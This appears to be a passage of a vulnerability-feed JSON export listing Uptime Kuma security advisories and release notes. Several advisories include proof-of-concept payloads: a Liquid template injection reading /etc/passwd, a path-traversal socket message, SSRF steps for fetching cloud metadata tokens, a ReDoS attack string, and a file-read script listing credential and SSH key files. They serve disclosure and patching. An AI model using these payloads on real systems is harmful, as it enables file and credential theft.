Prevention Cheat Sheet – CDATA in XML/RSS\r\n* RFC 822 / RSS Security Considerations\r\n\r\n### Credits\r\n\r\nReported by: Bugbunny.ai\n\nAffected packages: :uptime-kuma\nPatched: uptime-kuma 2.1.0","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-9fg7-wgm7-57fh","published_at":"2026-02-08T15:49:41Z","updated_at":"2026-02-08T15:49:41Z","fetched_at":"2026-11-22T13:40:14.883733Z","severity":"low","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-9fg7-wgm7-57fh","vuln_ids":["GHSA-9FG7-WGM7-57FH"],"tags":["repo-advisory","","CWE-79","security","repo:louislam/uptime-kuma"],"cluster_id":11318,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12013","html":"https://vulnwatch.ve1ve2.com/item/12013"}},{"id":12701,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.1.0","summary":"Fixes advisories: GHSA-9fg7-wgm7-57fh\n\nSecurity keywords: security\n\nChangelog:\r\n\r\nAll beta changes are also included in this release.\r\nPlease go throught them too, in total this relase had 250 PRs merged.\r\nhttps://github.com/louislam/uptime-kuma/releases/tag/2.1.0-beta.0\r\nhttps://github.com/louislam/uptime-kuma/releases/tag/2.1.0-beta.1\r\nhttps://github.com/louislam/uptime-kuma/releases/tag/2.1.0-beta.2\r\nhttps://github.com/louislam/uptime-kuma/releases/tag/2.1.0-beta.3\r\n\r\n### 🆕 New Features\r\n- #6830 feat(notification): add Jira Service Management as a notification provider (Thanks @jankal)\r\n- #6777 feat: add google sheets notification provider (Thanks @dharunashokkumar)\r\n\r\n### 💇‍♀️ Improvements\r\n- #6843 feat(discord): add custom message and format presets for notifications (Thanks @epifeny)\r\n- #6804 feat(ntfy): add custom title and message templates for notifications (Thanks @epifeny)\r\n\r\n### 🐞 Bug Fixes\r\n- #6845 fix: certificate expiry (use Settings.set instead of Settings.setSetting) (Thanks @epifeny)\r\n- #6841 fix: weblate conflict (Thanks @Aluisio @AnnAngela @cyril59310 @dodog @FunNikita @Kf637 @kurama @mafen @michi-onl @MrEddX @pmontp19)\r\n- #6835 feat(slack): Add option to include monitor group name in notifications (Thanks @dovansy1998)\r\n- #6822 fix: improve monitor list selection behavior (Thanks @frozenflux2)\r\n- #6805 fix: RSS pubDate timezone issue with backend test (#6422) (Thanks @Aqudi)\r\n- #6795 fix: monitor names hidden by tags (Thanks @bittoby)\r\n- #6792 fix: expand/collapse all groups now works with nested groups (Thanks @kurama)\r\n- #6791 Fix bot filtering in generate-changelog.mjs \r\n- #6789 fix: Add input validation for monitor ID in badge endpoints (Thanks @Angel98518)\r\n- #6783 fix: improve RADIUS client error handling and socket cleanup (Thanks @dive2tech)\r\n- #6778 fix: MongoDB monitor JSON.parse error handling (Thanks @Angel98518)\r\n\r\n### ⬆️ Security Fixes\r\n\r\n### 🦎 Translation Contributions\r\n- #6853 chore: Translations Update from Weblate (Thanks @2000Arion @Aluisio @AnnAngela @cyril59310 @dodog @jochemp264 @Kf637 @michi-onl @MrEddX)\r\n- #6834 feat(i18n): Add Bavarian German language support \r\n- #6817 Translations Update from Weblate (Thanks @Aluisio @AnnAngela @dodog @FunNikita @Kf637 @kurama @mafen @michi-onl @MrEddX @pmontp19)\r\n- #6597 chore: Translations Update from Weblate (Thanks @101br03k @2000Arion @aindriu80 @Aluisio @AndyLCQ @AnnAngela @atriwidada @bkzspam @Buchtic @cyril59310 @dodog @Donglingfeng @hackerpro17s @IsayIsee @isfan14 @ivanbratovic @JavierLuna @JWeinelt @Kodashas @michi-onl @MrEddX @simonghpub @superpep @tony-chompoo @Virenbar)\r\n- #6163 feat: add Globalping support (Thanks @radulucut)\r\n\r\n\r\n### Others\r\n- #6877 chore: npm update \r\n- #6875 chore: Update final release workflow \r\n- #6849 feat: Adding monitor_id and heartbeat_id to HaloPSA (Thanks @Yasindu20)\r\n- #6814 chore: Revert \"feat: added monitoring for postgres query result\" \r\n- #6787 chore: update to 2.1.0-beta.3 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.1.0","published_at":"2026-02-07T02:31:49Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744921Z","severity":"low","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-9fg7-wgm7-57fh","vuln_ids":["GHSA-9FG7-WGM7-57FH"],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":11318,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12701","html":"https://vulnwatch.ve1ve2.com/item/12701"}},{"id":12702,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.0.2","summary":"Security keywords: security\n\n### 🐞 Bug Fixes\r\n- #6225 Fix: False positive for Google Chrome during migration\r\n\r\n### Others\r\n- #6210 #6220 Revise supported versions and Docker tags in SECURITY.md ","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.0.2","published_at":"2025-10-22T17:03:54Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744922Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12702","html":"https://vulnwatch.ve1ve2.com/item/12702"}},{"id":12014,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-vffh-c9pq-4crh: Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read","summary":"Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read\n\n### Summary\r\n\r\nIn some Notification types (e.g., Webhook, Telegram), the `send()` function allows user-controlled renderTemplate input. This leads to a Server-side Template Injection (SSTI) vulnerability that can be exploited to read arbitrary files from the server.\r\n\r\n\r\n\r\n### Details\r\n\r\nThe root cause is how Uptime Kuma renders user-controlled templates via `renderTemplate()`. The function instantiates a Liquid template engine and parses the `template` argument without sanitization:\r\n\r\n```js\r\nasync renderTemplate(template, msg, monitorJSON, heartbeatJSON) {\r\n    const engine = new Liquid();\r\n    const parsedTpl = engine.parse(template);\r\n\r\n    // ...\r\n}\r\n```\r\n\r\nIn some Notification flows, the `send()` implementation passes user-editable fields directly into `renderTemplate()`:\r\n```js\r\n// webhook.js\r\nif (notification.webhookContentType === \"form-data\") {\r\n    const formData = new FormData();\r\n    formData.append(\"data\", JSON.stringify(data));\r\n    config.headers = formData.getHeaders();\r\n    data = formData;\r\n} else if (notification.webhookContentType === \"custom\") {\r\n    data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //<- this line cause SSTI\r\n}\r\n```\r\n\r\nBecause `notification` can be edited by users and is rendered by the Liquid engine without proper sandboxing or a whitelist of allowed operations, an attacker can supply a crafted template that causes the server to read arbitrary files. In particular, Liquid’s template tags (e.g. `{% render ... %}`) can be abused to include server-side files if the engine is not restricted, resulting in Server-side Template Injection (SSTI) that leaks sensitive file contents.\r\n\r\n\r\n\r\n### PoC\r\n\r\n1. Open Uptime Kuma → **Notifications** → **Add** or **Edit** an existing Webhook notification.\r\n2. Set notification type to **Webhook** and set **Request Body**  to **Custom Body**.\r\n3. Paste the following JSON into the custom request body:\r\n\r\n```json\r\n{\r\n  \"Title\": {% render '/etc/passwd' %}\r\n}\r\n```\r\n\r\n4. Click test.\r\n5. Your webhook will receive the file content\r\n\r\n\r\n\r\n### Impact\r\n\r\nThis is a post-authentication Server-side Template Injection (SSTI) vulnerability that allows an authenticated user to perform arbitrary file read on the server.\r\n\n\nAffected packages: :uptime-kuma\nPatched: uptime-kuma 1.23.17, uptime-kuma 2.0.0","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-vffh-c9pq-4crh","published_at":"2025-10-20T14:33:43Z","updated_at":"2025-10-20T14:33:43Z","fetched_at":"2026-11-22T13:40:14.883734Z","severity":"medium","cvss_score":6.5,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-vffh-c9pq-4crh","vuln_ids":["GHSA-VFFH-C9PQ-4CRH"],"tags":["repo-advisory","","CWE-36","CWE-1336","security","repo:louislam/uptime-kuma"],"cluster_id":11315,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12014","html":"https://vulnwatch.ve1ve2.com/item/12014"}},{"id":12015,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-qjxc-h5jf-c7rj: GCP and selected cloud providers provide metadata endpoints to the local network which can be queried to extract sensitive information via authentificated accounts in uptime kuma","summary":"GCP and selected cloud providers provide metadata endpoints to the local network which can be queried to extract sensitive information via authentificated accounts in uptime kuma > [!NOTE] > This advisory is not classified as an issue in uptime kuma, but rather the deployment platform. > Since we don't have the resources to work around the implementations of google/... we will not fix this issue in uptime-kuma. > Users of said cloud platforms are asked to enact tighter security if their security profile requires it. ### Summary Authenticated Arbitrary Data Exposure via SSRF ### Details It was discovered that the \"Add New Monitor\" feature is vulnerable to authenticated arbitrary data exposure via SSRF, using \"HTTP(s) - keyword\" mode, an authenticated attacker can fuzz the \"Keyword\" field and analyze the response errors. An attacker could potentially leak sensitive arbitrary information on an internal endpoint that exposes sensitive information ### PoC In this PoC, we will exfiltrate cloud metadata since major cloud providers, including Google Cloud Platform (GCP), Amazon Web Services (AWS), and Microsoft Azure, expose instance metadata services (IMDS) via an internal IP (169.254.169.254) or designated internal domains (metadata.google.internal, 169.254.169.253 for AWS, etc.). These endpoints provide sensitive information, such as OAuth tokens, SSH keys, IAM credentials, and internal networking details, for cloud-based instances. In our case, Uptime Kuma was deployed in Google Cloud Platform, to test this PoC it need to be deployed in some cloud environment. GCP PoC (click to expand) 1. Authenticate 2. Add new Monitor 3. Set Monitor Type to HTTP(S) - Keyword 4. Set Headers to ```json { \"Metadata-Flavor\": \"Google\" } ``` 5. Set URL to for example `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` 6. Set keyword to any random data ![image](https://github.com/user-attachments/assets/d071430e-6ae6-4f27-89a3-eac04dc01010) Notice in response it return the first 50 char length as mentioned in code 7. Now we can bruteforce for data that is long, although I'm showing PoC from the UI Case if a character is incorrect ![image](https://github.com/user-attachments/assets/4076ae93-0a02-4289-bdc5-9298e7acbae0) Case if a character is correct ![image](https://github.com/user-attachments/assets/d189bb39-604f-40ef-a849-2b6c4e626b24) But for data that is short, you can read the response, which in our case its the paths where you can check more data.. ![image](https://github.com/user-attachments/assets/00d66d56-3d8f-44a8-96c9-7377e38c8473) ### Impact Data exposure through SSRF Vulnerability, the affected are the ones who hosts at a cloud provider 1. Attackers can extract temporary cloud access tokens (AWS IAM roles, GCP service accounts, Azure Managed Identity) from the metadata API, allowing unauthorized access to cloud services and infrastructure. 2. Attackers can retrieve sensitive metadata information, including: - Instance & Project Details - Networking Information Affected packages: docker:uptime-kuma, npm:uptime-kuma","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-qjxc-h5jf-c7rj","published_at":"2025-10-13T13:19:51Z","updated_at":"2025-10-13T13:19:51Z","fetched_at":"2026-11-22T13:40:14.883734Z","severity":"medium","cvss_score":5.2,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-qjxc-h5jf-c7rj","vuln_ids":["GHSA-QJXC-H5JF-C7RJ"],"tags":["repo-advisory","docker","npm","CWE-291","CWE-306","CWE-862","CWE-918","security","repo:louislam/uptime-kuma"],"cluster_id":11319,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12015","html":"https://vulnwatch.ve1ve2.com/item/12015"}},{"id":12016,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-5px6-fx2w-459r: Unauthenticated file read of files that begin with `index.`","summary":"Unauthenticated file read of files that begin with `index.`\n\n### Summary\r\nThe socket message `getPushExample` is vulnerable to unauthenticated requests, and allows for a path traversal which leads to the leakage of a file that begins with `index.`.\r\n\r\n### Details\r\n[This code](https://github.com/louislam/uptime-kuma/blob/3b58ac3fd3712df192741b6b7bfd759d4624fd2c/server/socket-handlers/general-socket-handler.js#L93) is vulnerable to unauthenticated requests, and allows for a path traversal which leads to the leakage of a file that begins with `index.`.\r\n\r\n```js\r\n    socket.on(\"getPushExample\", (language, callback) => {\r\n\r\n        try {\r\n            let dir = path.join(\"./extra/push-examples\", language);\r\n            let files = fs.readdirSync(dir);\r\n\r\n            for (let file of files) {\r\n                if (file.startsWith(\"index.\")) {\r\n                    callback({\r\n                        ok: true,\r\n                        code: fs.readFileSync(path.join(dir, file), \"utf8\"),\r\n                    });\r\n                    return;\r\n                }\r\n            }\r\n        } catch (e) {\r\n\r\n        }\r\n\r\n        callback({\r\n            ok: false,\r\n            msg: \"Not found\",\r\n        });\r\n    });\r\n```\r\n\r\nBy using an unauthenticated session, it is possible to request this endpoint as `checkLogin(socket);` is not called. Furthermore, `language` could be a path with a path traversal (`../`) which could read files in other directories.\r\n\r\n### PoC\r\nBy sending the following payload `420[\"getPushExample\",\"../../\"]`, we can obtain Uptime Kuma's index.html file.\r\n![image](https://github.com/user-attachments/assets/71a75185-8d9a-43d9-b760-b55d69dc4338)\r\n\r\nThis is in BurpSuite, but it can also be accomplished natively in JS.\r\n\r\nSteps:\r\n1. Set a breakpoint in `login()` to capture the socket object\r\n![image](https://github.com/user-attachments/assets/dea4b7b6-215c-4a29-b6f0-c2f943fb4030)\r\n\r\n2. Call `emit` with `getPushExample` and the path. For example: `SOCK.emit(\"getPushExample\", '../../', (res) => { console.log(res); });`\r\n![image](https://github.com/user-attachments/assets/71ac32bd-3f15-47f5-8b8a-7129cf020e7e)\r\n\r\n\r\n### Impact\r\nThis vulnerability has very low impact, as the file must be named index.*. However, as it is a common filename, some sensitive files could be leaked leading to more issues.\r\n\r\nThe CVSS I calculated was like so: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\r\n\n\nAffected packages: :uptime-kuma\nPatched: uptime-kuma 2.0.0-beta.3","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-5px6-fx2w-459r","published_at":"2025-06-04T05:16:23Z","updated_at":"2025-06-04T05:16:23Z","fetched_at":"2026-11-22T13:40:14.883735Z","severity":"high","cvss_score":7.5,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-5px6-fx2w-459r","vuln_ids":["GHSA-5PX6-FX2W-459R"],"tags":["repo-advisory","","CWE-22","CWE-862","security","repo:louislam/uptime-kuma"],"cluster_id":11320,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12016","html":"https://vulnwatch.ve1ve2.com/item/12016"}},{"id":12017,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-hx7h-9vf7-5xhg: Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking","summary":"Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking ### Summary There is a `ReDoS vulnerability risk` in the system, specifically when administrators create `notification` through the web service(`pushdeer` and `whapi`). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack. ### Details The regular expression` \\/*$\\` is used to match zero or more slashes `/` at the end of a URL. When a malicious attack string appends a large number of slashes `/` and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources. ```js .replace(/\\/*$/, \"\") ``` For the regular expression `/\\/*$/`, an attack string like ```javascript \"https://e\" + \"/\".repeat(100000) + \"@\" ``` can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack. > When entered from the web interface, the attack string needs to expand `\"/\".repeat(100000)` and be input directly, such as `https://e/////////..//@`. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk. ### PoC The poc.js is in: https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0 The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack: ```javascript const semver = require(\"semver\"); let test; const nodeVersion = process.versions.node; if (semver.satisfies(nodeVersion, \">= 18\")) { test = require(\"node:test\"); } else { test = require(\"test\"); } const PushDeer = require(\"../../server/notification-providers/pushdeer.js\"); const assert = require(\"node:assert\"); test(\"Test ReDos - attack string\", async (t) => { const pushDeer = new PushDeer(); const notification = { pushdeerServer: \"https://e\" + \"/\".repeat(100000) + \"@\", }; const msg = \"Test Attacking\"; const startTime = performance.now(); try { pushDeer.send(notification, msg) } catch (error) { // pass } const endTime = performance.now(); const elapsedTime = endTime - startTime; const reDosThreshold = 2000; assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`); }); ``` > Move the `test-uptime-calculator.js` file to the `./uptime-kuma/test/backend-test` folder and run `npm run test-backend` to execute the backend tests. Trigger conditions for whapi jams, In the send function within the `uptime-kuma\\server\\notification-pro Affected packages: :uptime-kuma Patched: uptime-kuma 2.0.0-beta.2","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-hx7h-9vf7-5xhg","published_at":"2025-03-29T00:18:45Z","updated_at":"2025-03-29T00:18:45Z","fetched_at":"2026-11-22T13:40:14.883735Z","severity":"medium","cvss_score":6.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-hx7h-9vf7-5xhg","vuln_ids":["GHSA-HX7H-9VF7-5XHG"],"tags":["repo-advisory","","CWE-1333","security","repo:louislam/uptime-kuma"],"cluster_id":11321,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12017","html":"https://vulnwatch.ve1ve2.com/item/12017"}},{"id":12018,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-2qgm-m29m-cj2h / CVE-2024-56331: Local File Inclusion (LFI) via Improper URL Handling in `Real-Browser` monitor","summary":"Local File Inclusion (LFI) via Improper URL Handling in `Real-Browser` monitor ### Summary An **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **\"real-browser\"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server. ### Details The vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (``) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the \"real-browser\" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file’s content. ```javascript const browser = await getBrowser(); const context = await browser.newContext(); const page = await context.newPage(); const res = await page.goto(monitor.url, { waitUntil: \"networkidle\", timeout: monitor.interval * 1000 * 0.8, }); let filename = jwt.sign(monitor.id, server.jwtSecret) + \".png\"; await page.screenshot({ path: path.join(Database.screenshotDir, filename), }); await context.close(); ``` Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file's content, potentially exposing sensitive data. ### PoC 1. **Instructions**: - Enter a local file path as the URL, such as: `view-source:file:///etc/passwd`. - The server will process the URL and, in \"real-browser\" mode, capture a screenshot of the file content. Example PoC: 1. Log in to the application with valid credentials: ```javascript const { io } = require(\"socket.io-client\"); // Server configuration and credentials const CONFIG = { serverUrl: \"ws://localhost:3001\", credentials: { username: \"admin\", password: \"password1\" }, requestType: { REAL_BROWSER: \"real-browser\", HTTP: \"http\" }, urlHeader: { VIEW_SOURCE: \"view-source:file:///\", FILE: \"file:///\" } }; // List of sensitive files on a Linux system const SENSITIVE_FILES = [ \"/etc/passwd\", \"/etc/shadow\", \"/etc/hosts\", \"/etc/hostname\", \"/etc/network/interfaces\", // May vary depending on the distribution \"/etc/ssh/ssh_config\", \"/etc/ssh/sshd_config\", \"~/.ssh/authorized_keys\", \"~/.ssh/id_rsa\", \"/etc/ssl/private/*.key\", \"/etc/ssl/certs/*.crt\", \"/app/data/kuma.db\", // Uptime Kuma database file \"/app/data/config.json\" // Uptime Kuma configuration file ] Affected packages: :uptime-kuma Patched: uptime-kuma 1.23.16, uptime-kuma 2.0.0-beta.1","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-2qgm-m29m-cj2h","published_at":"2024-12-20T14:23:08Z","updated_at":"2024-12-20T17:30:56Z","fetched_at":"2026-11-22T13:40:14.883736Z","severity":"medium","cvss_score":6.8,"epss":0.01845,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2024-56331","vuln_ids":["CVE-2024-56331","GHSA-2QGM-M29M-CJ2H"],"tags":["repo-advisory","","security","repo:louislam/uptime-kuma"],"cluster_id":11322,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12018","html":"https://vulnwatch.ve1ve2.com/item/12018"}},{"id":12019,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-23q2-5gf8-gjpp: Enabling Authentication does not close all logged in socket connections immediately","summary":"Enabling Authentication does not close all logged in socket connections immediately \n\n### Summary\r\nThis is basically [GHSA-88j4-pcx8-q4q](https://github.com/louislam/uptime-kuma/security/advisories/GHSA-88j4-pcx8-q4q3) but instead of changing passwords, when enabling authentication.\r\n\r\n### PoC\r\n- Open Uptime Kuma with authentication disabled\r\n- Enable authentication using another window\r\n- Access the platform using the previously logged-in window\r\n- Note that access (read-write) remains despite the enabled authentication\r\n- Expected behaviour:\r\n  - After enabling authentication, all previously connected sessions should be invalidated, requiring users to log in.\r\n- Actual behaviour:\r\n  - The system retains sessions and never logs out users unless explicitly done by clicking logout or refreshing the page.\r\n\r\n### Impact\r\nSee [GHSA-g9v2-wqcj-j99g](https://github.com/louislam/uptime-kuma/security/advisories/GHSA-g9v2-wqcj-j99g) and [GHSA-88j4-pcx8-q4q](https://github.com/louislam/uptime-kuma/security/advisories/GHSA-88j4-pcx8-q4q3)\r\n\r\nTBH this is quite a niche edge case, so I don't know if this even warrants a security report.  \r\n\n\nAffected packages: docker:louislam/uptime-kuma, npm:louislam/uptime-kuma\nPatched: louislam/uptime-kuma 1.23.12, louislam/uptime-kuma 1.23.12","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-23q2-5gf8-gjpp","published_at":"2024-04-19T03:24:03Z","updated_at":"2024-04-19T03:24:03Z","fetched_at":"2026-11-22T13:40:14.883736Z","severity":"medium","cvss_score":6.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"louislam/uptime-kuma","vuln_id":"GHSA-23q2-5gf8-gjpp","vuln_ids":["CVE-2023-44400","CVE-2023-49804","GHSA-23Q2-5GF8-GJPP","GHSA-88J4-PCX8-Q4Q3","GHSA-G9V2-WQCJ-J99G"],"tags":["repo-advisory","docker","npm","security","repo:louislam/uptime-kuma"],"cluster_id":11324,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12019","html":"https://vulnwatch.ve1ve2.com/item/12019"}},{"id":12021,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-88j4-pcx8-q4q3 / CVE-2023-49804: Changing Password does not close all logged in socket connections immediately","summary":"Changing Password does not close all logged in socket connections immediately\n\n> [!WARNING]\r\n> As is written in our [**security policy**](https://github.com/louislam/uptime-kuma/security/policy), please **DON'T REPORT SECURITY ISSUES TO OUR PUBLIC ISSUE TRACKER**\r\n> Posting as [an advisory](https://github.com/louislam/uptime-kuma/security/advisories/new) and then create a [`security`-issue without details](https://github.com/louislam/uptime-kuma/issues/new?assignees=&labels=help&template=security.md) allows us to privately come up with a securty fix without having to scramble and potentialy miss/break something.\r\n> These steps were violated in this case, as the issue was first raised as a `bug`-report in issue #4188 [^1]\r\n\r\n## Overview:\r\n\r\nA moderate security vulnerability has been identified in Uptime Kuma platform that poses a significant threat to the confidentiality and integrity of user accounts.  \r\nWhen a user changes their login password in Uptime Kuma, a previously logged-in user retains access without being logged out.\r\nThis behaviour persists consistently, even after system restarts or browser restarts.\r\nThis vulnerability allows unauthorized access to user accounts, compromising the security of sensitive information.\r\n\r\nThe same vulnerability was partially fixed in https://github.com/louislam/uptime-kuma/security/advisories/GHSA-g9v2-wqcj-j99g but logging existing users out of their accounts was forgotten.\r\n\r\n## Impact:\r\n\r\nThe impact of this vulnerability is moderate, as it enables attackers or unauthorized individuals to maintain access to user accounts even after the account password has been changed. This can lead to unauthorized data access, manipulation, or compromise of user accounts, posing a threat to the integrity and confidentiality of Uptime Kuma.\r\nA better impact-analysis is included in https://github.com/louislam/uptime-kuma/security/advisories/GHSA-g9v2-wqcj-j99g\r\n\r\n## PoC\r\n\r\n- Change the password for a user account\r\n- Access the platform using the previously logged-in account without logging out\r\n- Note that access (read-write) remains despite the password change \r\n- Expected behaviour:  \r\n   After changing the password for a user account, all previously logged-in sessions should be invalidated, requiring users to log in again with the updated credentials.\r\n- Actual behaviour:  \r\n  The system retains sessions and never logs out users unless explicitly done by clicking logout.\r\n\r\n## Remediation:\r\n\r\nTo mitigate the risks associated with this vulnerability, we made the server emit a `refresh` event (clients handle this by reloading) and then disconnecting all clients except the one initiating the password change.\r\n\r\nIt is recommended to Update Uptime Kuma to `>= 1.23.9`. \r\n\r\n## Timeline:\r\n\r\n|Date|Event|\r\n|--|--|\r\n|2023-12-07 14:35 UTC| @manoonabbasi discovered and posts this information as a `bug`-report in issue #4188 [^1] into our **public issue tracker**, which is [**against our security policy**](https://github.com/louislam/uptime-kuma/security/policy) |\r\n| 2023-12-07 16:50 UTC | The Uptime Kuma t\n\nAffected packages: docker:louislam/dockge, docker:louislam/uptime-kuma, npm:louislam/uptime-kuma\nPatched: louislam/uptime-kuma 1.23.9, louislam/uptime-kuma 1.23.9, louislam/dockge 1.3.3","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-88j4-pcx8-q4q3","published_at":"2023-12-10T17:56:02Z","updated_at":"2023-12-11T17:53:24Z","fetched_at":"2026-11-22T13:40:14.883737Z","severity":"medium","cvss_score":6.7,"epss":0.00263,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"louislam/uptime-kuma","vuln_id":"CVE-2023-49804","vuln_ids":["CVE-2023-44400","CVE-2023-49804","GHSA-88J4-PCX8-Q4Q3","GHSA-G9V2-WQCJ-J99G"],"tags":["repo-advisory","docker","npm","security","repo:louislam/uptime-kuma"],"cluster_id":11325,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12021","html":"https://vulnwatch.ve1ve2.com/item/12021"}},{"id":12020,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-mj22-23ff-2hrr / CVE-2023-49805: Missing Origin Validation in WebSockets","summary":"Missing Origin Validation in WebSockets ### Summary The application uses WebSocket (with Socket.io), but it does not verify that the source of communication is valid. This allows third-party website to access the application on behalf of their client. ### Details When connecting to the server using Socket.IO, the server does not validate the `Origin` header leading to other site being able to open connections to the server and communicate with it. Other website still need to authenticate to access most features, however this can circumvent reverse proxy or firewall protections made in place by users deploying the application. ### PoC On another origin, you can serve the following HTML document. ```html ``` ![image](https://user-images.githubusercontent.com/112879577/285227437-466b5120-7842-4890-8a36-ddfa95b425af.png) ### Impact Without origin validation, Javascript executed from another origin would be allowed to connect to the application without any user interaction. Without login credentials, such a connection is unable to access protected endpoints containing sensitive data of the application. However, such a connection may allow attacker to further exploit unseen vulnerabilities of the application. Users with \"No-auth\" mode configured who are relying on a reverse proxy or firewall to provide protection to the application would be especially vulnerable as it would grant the attacker full access to the application. ### Remediation Additional verification of the HTTP `Origin` header has been added to the socket.io connection handler. By default, if the `Origin` header is present, it would be checked against the `Host` header. Connection would be denied if the hostnames do not match, which would indicate that the request is cross-origin. Connection would be allowed if the `Origin` header is not present. Users can override this behaviour by setting environment variable `UPTIME_KUMA_WS_ORIGIN_CHECK=bypass`. Affected packages: docker: louislam/dockge, docker: louislam/uptime-kuma Patched: louislam/dockge 1.3.3, louislam/uptime-kuma 1.23.9","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-mj22-23ff-2hrr","published_at":"2023-12-10T17:55:38Z","updated_at":"2023-12-11T17:53:36Z","fetched_at":"2026-11-22T13:40:14.883737Z","severity":"medium","cvss_score":6.0,"epss":0.00376,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":" 